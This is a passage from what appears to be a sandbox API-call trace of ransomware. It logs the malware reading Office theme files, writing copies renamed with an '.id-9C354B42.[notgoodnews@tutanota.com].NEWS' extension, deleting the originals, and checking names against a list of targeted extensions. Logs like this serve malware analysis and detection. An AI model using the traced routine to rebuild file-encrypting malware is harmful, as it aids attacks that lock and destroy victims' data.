lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x50d, lpOverlapped=0x0) returned 1 [0070.946] WriteFile (in: hFile=0x1a0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x510, lpOverlapped=0x0) returned 1 [0070.948] ReadFile (in: hFile=0x1e8, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.948] WriteFile (in: hFile=0x1a0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0070.948] SetEndOfFile (hFile=0x1a0) returned 1 [0070.948] CloseHandle (hObject=0x1a0) returned 1 [0070.948] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.948] SetEndOfFile (hFile=0x1e8) returned 1 [0070.949] CloseHandle (hObject=0x1e8) returned 1 [0070.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0070.950] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1 [0070.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0070.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0070.950] lstrlenW (lpString=".doc") returned 4 [0070.950] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0070.950] lstrlenW (lpString=".docx") returned 5 [0070.950] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0070.950] lstrlenW (lpString=".pdf") returned 4 [0070.950] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0070.950] lstrlenW (lpString=".xls") returned 4 [0070.950] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0070.950] lstrlenW (lpString=".xlsx") returned 5 [0070.951] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0070.951] lstrlenW (lpString=".ppt") returned 4 [0070.951] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0070.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0070.951] lstrlenW (lpString=".zip") returned 4 [0070.951] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0070.951] lstrlenW (lpString=".rar") returned 4 [0070.951] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0070.951] lstrlenW (lpString=".bz2") returned 4 [0070.951] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0070.951] lstrlenW (lpString=".7z") returned 3 [0070.951] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0070.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0070.951] lstrlenW (lpString=".dbf") returned 4 [0070.951] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0070.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0070.951] lstrlenW (lpString=".1cd") returned 4 [0070.951] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0070.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0070.951] lstrlenW (lpString=".jpg") returned 4 [0070.951] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0070.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0070.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0070.951] lstrlenW (lpString=".doc") returned 4 [0070.951] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0070.952] lstrlenW (lpString=".docx") returned 5 [0070.952] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0070.952] lstrlenW (lpString=".pdf") returned 4 [0070.952] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0070.952] lstrlenW (lpString=".xls") returned 4 [0070.952] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0070.952] lstrlenW (lpString=".xlsx") returned 5 [0070.952] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0070.952] lstrlenW (lpString=".ppt") returned 4 [0070.952] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0070.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0070.952] lstrlenW (lpString=".zip") returned 4 [0070.952] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0070.952] lstrlenW (lpString=".rar") returned 4 [0070.952] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0070.952] lstrlenW (lpString=".bz2") returned 4 [0070.952] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0070.952] lstrlenW (lpString=".7z") returned 3 [0070.952] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0070.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0070.952] lstrlenW (lpString=".dbf") returned 4 [0070.952] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0070.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0070.952] lstrlenW (lpString=".1cd") returned 4 [0070.952] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0070.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0070.953] lstrlenW (lpString=".jpg") returned 4 [0070.953] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0070.953] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0070.953] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0070.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0070.953] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=20575) returned 1 [0070.953] CloseHandle (hObject=0x1e8) returned 1 [0070.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0070.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0070.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0070.954] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.954] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0070.954] GetLastError () returned 0x0 [0070.954] ReadFile (in: hFile=0x1e8, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x505f, lpOverlapped=0x0) returned 1 [0070.957] WriteFile (in: hFile=0x1a0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x5060, lpOverlapped=0x0) returned 1 [0070.959] ReadFile (in: hFile=0x1e8, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.959] WriteFile (in: hFile=0x1a0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0070.959] SetEndOfFile (hFile=0x1a0) returned 1 [0070.959] CloseHandle (hObject=0x1a0) returned 1 [0070.959] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.959] SetEndOfFile (hFile=0x1e8) returned 1 [0070.960] CloseHandle (hObject=0x1e8) returned 1 [0070.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0070.961] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1 [0070.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0070.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0070.961] lstrlenW (lpString=".doc") returned 4 [0070.961] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0070.961] lstrlenW (lpString=".docx") returned 5 [0070.961] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0070.961] lstrlenW (lpString=".pdf") returned 4 [0070.961] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0070.961] lstrlenW (lpString=".xls") returned 4 [0070.961] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0070.961] lstrlenW (lpString=".xlsx") returned 5 [0070.961] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0070.961] lstrlenW (lpString=".ppt") returned 4 [0070.961] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0070.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0070.961] lstrlenW (lpString=".zip") returned 4 [0070.961] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0070.962] lstrlenW (lpString=".rar") returned 4 [0070.962] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0070.962] lstrlenW (lpString=".bz2") returned 4 [0070.962] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0070.962] lstrlenW (lpString=".7z") returned 3 [0070.962] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0070.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0070.962] lstrlenW (lpString=".dbf") returned 4 [0070.962] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0070.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0070.962] lstrlenW (lpString=".1cd") returned 4 [0070.962] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0070.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0070.962] lstrlenW (lpString=".jpg") returned 4 [0070.962] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0070.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0070.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0070.962] lstrlenW (lpString=".doc") returned 4 [0070.962] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0070.962] lstrlenW (lpString=".docx") returned 5 [0070.962] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0070.962] lstrlenW (lpString=".pdf") returned 4 [0070.962] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0070.962] lstrlenW (lpString=".xls") returned 4 [0070.962] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0070.963] lstrlenW (lpString=".xlsx") returned 5 [0070.963] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0070.963] lstrlenW (lpString=".ppt") returned 4 [0070.963] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0070.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0070.963] lstrlenW (lpString=".zip") returned 4 [0071.168] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.168] lstrlenW (lpString=".rar") returned 4 [0071.168] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.168] lstrlenW (lpString=".bz2") returned 4 [0071.168] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.168] lstrlenW (lpString=".7z") returned 3 [0071.168] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0071.168] lstrlenW (lpString=".dbf") returned 4 [0071.168] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0071.169] lstrlenW (lpString=".1cd") returned 4 [0071.169] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0071.169] lstrlenW (lpString=".jpg") returned 4 [0071.169] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.169] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0071.169] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0071.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0071.675] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1347) returned 1 [0071.675] CloseHandle (hObject=0x1e4) returned 1 [0071.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0071.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0071.676] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.676] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0072.497] GetLastError () returned 0x0 [0072.497] ReadFile (in: hFile=0x1e4, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x543, lpOverlapped=0x0) returned 1 [0072.503] WriteFile (in: hFile=0x1a0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x550, lpOverlapped=0x0) returned 1 [0072.505] ReadFile (in: hFile=0x1e4, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.505] WriteFile (in: hFile=0x1a0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0072.505] SetEndOfFile (hFile=0x1a0) returned 1 [0072.505] CloseHandle (hObject=0x1a0) returned 1 [0072.505] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.505] SetEndOfFile (hFile=0x1e4) returned 1 [0072.506] CloseHandle (hObject=0x1e4) returned 1 [0072.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.507] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1 [0072.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0072.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0072.507] lstrlenW (lpString=".doc") returned 4 [0072.507] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0072.508] lstrlenW (lpString=".docx") returned 5 [0072.508] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0072.508] lstrlenW (lpString=".pdf") returned 4 [0072.508] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0072.508] lstrlenW (lpString=".xls") returned 4 [0072.508] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0072.508] lstrlenW (lpString=".xlsx") returned 5 [0072.508] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0072.508] lstrlenW (lpString=".ppt") returned 4 [0072.508] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0072.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0072.508] lstrlenW (lpString=".zip") returned 4 [0072.508] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0072.508] lstrlenW (lpString=".rar") returned 4 [0072.508] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0072.508] lstrlenW (lpString=".bz2") returned 4 [0072.508] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0072.508] lstrlenW (lpString=".7z") returned 3 [0072.508] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0072.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0072.508] lstrlenW (lpString=".dbf") returned 4 [0072.508] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0072.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0072.509] lstrlenW (lpString=".1cd") returned 4 [0072.509] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0072.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0072.509] lstrlenW (lpString=".jpg") returned 4 [0072.509] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0072.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0072.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0072.509] lstrlenW (lpString=".doc") returned 4 [0072.509] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0072.509] lstrlenW (lpString=".docx") returned 5 [0072.509] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0072.509] lstrlenW (lpString=".pdf") returned 4 [0072.509] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0072.509] lstrlenW (lpString=".xls") returned 4 [0072.509] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0072.509] lstrlenW (lpString=".xlsx") returned 5 [0072.509] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0072.509] lstrlenW (lpString=".ppt") returned 4 [0072.509] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0072.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0072.509] lstrlenW (lpString=".zip") returned 4 [0072.509] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0072.509] lstrlenW (lpString=".rar") returned 4 [0072.509] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0072.509] lstrlenW (lpString=".bz2") returned 4 [0072.510] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0072.510] lstrlenW (lpString=".7z") returned 3 [0072.510] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0072.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0072.510] lstrlenW (lpString=".dbf") returned 4 [0072.510] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0072.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0072.510] lstrlenW (lpString=".1cd") returned 4 [0072.510] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0072.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0072.510] lstrlenW (lpString=".jpg") returned 4 [0072.510] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0072.510] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0072.510] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0072.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0072.511] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2476) returned 1 [0072.511] CloseHandle (hObject=0x1e4) returned 1 [0072.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0072.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0072.511] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.511] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, 